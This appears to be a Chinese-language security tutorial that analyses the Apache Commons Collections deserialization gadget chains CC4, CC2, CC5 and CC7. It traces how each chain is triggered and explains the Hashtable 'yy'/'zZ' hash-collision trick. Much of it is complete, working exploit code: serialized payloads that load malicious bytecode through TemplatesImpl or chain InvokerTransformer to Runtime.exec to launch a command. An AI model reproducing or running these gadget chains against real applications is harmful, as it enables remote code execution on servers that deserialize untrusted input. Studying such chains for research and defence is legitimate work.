Java安全-CC4链 CC4链 因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。
环境 先说一下 jdk 这个环境,理论上只有 CC1 和 CC3 链受到 jdk 版本影响。
JDK8u65
[openJDK 8u65
Maven 4.0.0
Commons-Collections 4.0
Maven 下载 Commons-Collections 依赖。
1 2 3 4 5 <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0 </version> </dependency>
CC4 链分析
因为还是 CC 链的漏洞,所以一般是与 transform 分不开的。
从尾部向首部分析,尾部命令执行的方式就两种,反射或是动态加载字节码。因为 CC4 链上只是去掉了 InvokerTransformer 的 Serializable 继承,所以最后的命令执行不受影响。
这里的 InvokerTransformer 用不了了,我们去找谁调用了 transform() 方法
找到TransformingComparator的compare方法
compare方法查找用法时是有133个结果的,很难排查
所以我们这里继续寻找方法调用的时候需要一些编程基础的
这里直接看到PriorityQueue的readObject方法
调用了heapify方法
heapify方法调用了siftDown方法(这里不贴出)
继续走到siftDown方法方法
走进if循环发现siftDownUsingComparator方法有compare方法的调用
EXP编写 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 package com.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CC4EXP { public static void main (String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates, "enableTemplatesImplDeserialization" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("D://Test.class" )); byte [][] codes = {evil}; bytecodesField.set(templates, codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator (chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); serialize(priorityQueue); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); ois.close(); return obj; } }
运行这个程序,发现没有弹出计算器也没有报错
在readObject下一个断点调试一下
断在795行,调用heapify方法时下一个断点
看到这里发现size=0是无法进入siftDown方法的
在readObject方法中有关于size的代码
修改EXP
要修改 Size,必然要先明白 Size 是什么,Size 就是 PriorityQueue 这个队列的长度,简单理解,就是数组的长度。现在我们这个数组的长度为 0,0 - 1 = -1,所以会直接跳出循环,不能弹计算器。
通过此语句加上即可
1 2 priorityQueue.add(1 ); priorityQueue.add(2 );
运行一下是能弹计算器的,但是报错了
原因是:
在我们进行 priorityQueue.add(1) 这个语句的时候,它内部会自动进行 compare() 方法的执行,然后调用 transform(),触发我们的chainedTransformer组合链。还没有序列化与反序列化,就弹出计算器了
但是在这里由于 _tfactory 为 null,导致报错。
还记得我们在 CC3 链里面讲的那个 _tfactory 的值吗?
当时我们是写的这段 EXP
1 2 3 4 Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); templates.newTransformer();
我在跑代码的时候把最后一行给注释掉了,所以才会出错。_tfactory 是在反序列化的时候才会加进来的,所以加上就不报错了。不过删掉也无所谓,因为我们本来就不想让其本地执行。
同样的,想要解决这个报错,我们只需要给链子其中一个方法传入一个没用的对象,再用反射修改,就可以了
这里将这行代码做更改
1 TransformingComparator transformingComparator = new TransformingComparator (chainedTransformer);
先传入一个没有用的对象
1 TransformingComparator transformingComparator = new TransformingComparator (new ConstantTransformer (1 ));
再反射修改
1 2 3 4 Class c = transformingComparator.getClass();Field transformer = c.getDeclaredField("transformer" ); transformer.setAccessible(true ); transformer.set(transformingComparator, chainedTransformer);
最终EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 package com.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Comparator;import java.util.PriorityQueue;public class CC4EXP { public static void main (String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates, "enableTemplatesImplDeserialization" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("D://Test.class" )); byte [][] codes = {evil}; bytecodesField.set(templates, codes); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator (new ConstantTransformer (1 )); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(1 ); priorityQueue.add(2 ); Class c = transformingComparator.getClass(); Field transformer = c.getDeclaredField("transformer" ); transformer.setAccessible(true ); transformer.set(transformingComparator, chainedTransformer); serialize(priorityQueue); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); ois.close(); return obj; } }
顺利弹出计算器
利用链分析
CC2链 分析与EXP编写 CC2 这条链实际上是在 CC4 链基础上的修改,目的是为了避免使用 Transformer 数组。
在 CC4 链的基础上,抛弃了用 InstantiateTransformer 类将 TrAXFilter 初始化,以及 TemplatesImpl.newTransformer() 这个步骤
看到了一个总结的很好的流程图,贴在这里
那么我们简单分析 CC2 链的前半部分,还是出现了 compare 这些,所以在 CC4 链中的 compare 部分是可用的。在 CC2 链最后部分是 TemplatesImpl 执行动态字节码,和 CC4 链最后的部分是相等的,我们可以直接搬进来。
还是老方法,先在transformingComparator对象中传入一个无用的东西,再通过反射修改
1 2 3 4 5 6 TransformingComparator transformingComparator = new TransformingComparator (new ConstantTransformer (1 ));Class c = transformingComparator.getClass();Field transformer = c.getDeclaredField("transformer" ); transformer.setAccessible(true ); transformer.set(transformingComparator, newTransformer);
添加值
调试时可以看到这行代码传入的obj1会作为transform方法的执行对象
我们需要newTransformer对象调用transform方法来执行我们加载恶意字节码的操作,所以要传入我们构造好的templates对象
1 priorityQueue.add(templates)
最终EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package com.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CC2EXP { public static void main (String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates, "enableTemplatesImplDeserialization" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("D://Test.class" )); byte [][] codes = {evil}; bytecodesField.set(templates, codes); InvokerTransformer<Object, Object> newTransformer = new InvokerTransformer <>("newTransformer" , new Class []{}, new Object []{}); TransformingComparator transformingComparator = new TransformingComparator (new ConstantTransformer (1 )); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(templates); Class c = transformingComparator.getClass(); Field transformer = c.getDeclaredField("transformer" ); transformer.setAccessible(true ); transformer.set(transformingComparator, newTransformer); serialize(priorityQueue); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); ois.close(); return obj; } }
成功弹出计算器
CC5 环境
jdk8u65
Commons-Collections 3.2.1
Commons-Collections 版本限制
CC5 依赖的 Transformer、ChainedTransformer、InvokerTransformer 在 3.1 / 3.2.1 中可用。
在 3.2.2+ 官方补丁 中,危险的 Transformer 被修补,导致利用链失效。 👉 所以 CC5 仍然受 Commons-Collections 版本限制 。(与CC3受限制原因相同)
在4.0版本中,LazyMap类的decorate方法被删除,无法利用此新建对象
分析调用链 cc5与cc3的不同只是触发调用LazyMap的get方法不同
这里依旧贴一个看到总结的很好的流程图
从 BadAttributeValueExpException 的 readObject() 方法进来
这里我们可以看到可以通过传参,使其调用TiedMapEntry的toString方法
进入到TiedMapEntry类可以看到它的toString方法调用了getValue方法,通过getValue方法可以调用LazyMap的get方法
编写EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 package com.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC5EXP { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"enableTemplatesImplDeserialization" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("D://Test.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap map = new HashMap (); Map<Object, Object> lazyMap = LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "enableTemplatesImplDeserialization" ); tiedMapEntry.toString(); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (tiedMapEntry); serialize(badAttributeValueExpException); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); ois.close(); return obj; } }
链子入口处
1 2 3 4 5 6 7 TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "enableTemplatesImplDeserialization" ); tiedMapEntry.toString(); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (tiedMapEntry);
成功弹出计算器
CC7 分析 同样只是更改了触发调用LazyMap的get方法
前半条链子的入口类是 Hashtable,我们跟进去看一下。
Hashtable 的入口类 readObject() 方法调用了一个 reconstitutionPut() 方法。
reconstitutionPut() 方法中有equals方法的调用
找到了AbstractMapDecorator类的equals方法
这个类是继承了 map 接口,因为它是 CC 包里面的 Map 类,并且能够调用父类 Map,所以把它作为链子的一部分。但是 Map 是一个接口,我们需要去找 Map 的实现类
找到AbstractMap类的equals方法中会调用get方法,可以触发Lazy#get,与后半段链子连接起来
但是这个类不能序列化
EXP编写 这里对传进的 Entry 对象数组进行了循环,逐个调用e.key.equals(key),这里传进去的参数key如果是我们可控的,那么AbstractMap.equals()中的m就是我们可控的。
从本质上来说,我们需要在入口类这里传进去恶意的 key,接着调用 key.equals() 即可。
这一段传入恶意 key 应当如此
1 2 Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap, "value" );
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 package com.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.AbstractMapDecorator;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Paths;import java.util.AbstractMap;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7EXP { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"enableTemplatesImplDeserialization" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("D://Test.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap map = new HashMap (); Map<Object, Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap, "value" ); serialize(hashtable); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); ois.close(); return obj; } }
没有弹出计算器
把断点打在了 AbstractMap.equals() 的地方,结果发现居然没有执行到 .equals() 这个方法,去看一看 yso 的链子是怎么写的。
yso 这里的链子比我们多了一个 map,而且将两个 map 进行了比较,一看到这个就明白了。
我们需要调用的 e.key.equal() 方法是在 for 循环里面的,需要进入到这 for 循环才能调用。
Hashtable 的 reconstitutionPut() 方法是被遍历调用的,
第一次调用的时候,并不会走入到 reconstitutionPut() 方法 for 循环里面,因为 tab[index] 的内容是空的,在下面会对 tab[index] 进行赋值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
为什么调用的两次put()其中map中key的值分别为yy和zZ?
第二次调用 reconstitutionPut() 进入到 for 循环的时候,此时 e 是从 tab 中取出的 lazyMap1 ,然后进入到判断中,要经过 (e.hash == hash) 判断为真才能走到我们想要的 e.key.equal() 方法中。这里判断要求取出来的 lazyMap1 对象的hash值要等都现在对象也就是 lazyMap2 的hash值,这里的hash值是通过 lazyMap 对象中的 key.hashCode() 得到的,也就是说 lazyMap1 的 hash 值就是 "yy".hashCode() ,lazyMap2 的 hash 值就是 "zZ".hashCode() ,而在 java 中有一个小 bug:
1 "yy" .hashCode() == "zZ" .hashCode()
for循环是进行了一个列表的遍历,if中前半句是如果找到了一个已存在的条目,其哈希码与当前键的哈希码相同。
yy 和 zZ 由 hashCode() 计算出来的值是一样的。正是这个小 bug 让这里能够利用,所以这里我们需要将 map 中 put() 的值设置为 yy 和 zZ,才能走到我们想要的 e.key.equal() 方法中。
为什么在调用完 HashTable.put() 之后,还需要在 map2 中 remove() 掉 yy?
这是因为 HashTable.put() 实际上也会调用到 equals() 方法:
当调用完 equals() 方法后,会进入LazyMap的get方法。
记得吗,这个类就是用来加入新的键,调用get将新的值加入key中
LazyMap2 的 key 中就会增加一个 yy 键:
在后续AbstractMap的equals方法中检测到两个 Map 的大小(包含的键值对数量)不相等直接返回false
无法调用get方法,触发接下来的利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } catch (ClassCastException unused) { return false ; } catch (NullPointerException unused) { return false ; } return true ; }
所以要删除yy键
最后同样的,我们要反序列化才触发链子。所以要先给chainTransformer对象传入一个没用的东西,再通过反射修改值
最终EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 package com.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.AbstractMapDecorator;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Paths;import java.util.AbstractMap;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7EXP { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{}); HashMap<Object, Object> hashMap1 = new HashMap <>(); HashMap<Object, Object> hashMap2 = new HashMap <>(); Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer); decorateMap1.put("yy" , 1 ); Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer); decorateMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable (); hashtable.put(decorateMap1, 1 ); hashtable.put(decorateMap2, 1 ); Class c = ChainedTransformer.class; Field field = c.getDeclaredField("iTransformers" ); field.setAccessible(true ); field.set(chainedTransformer, transformers); decorateMap2.remove("yy" ); serialize(hashtable); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }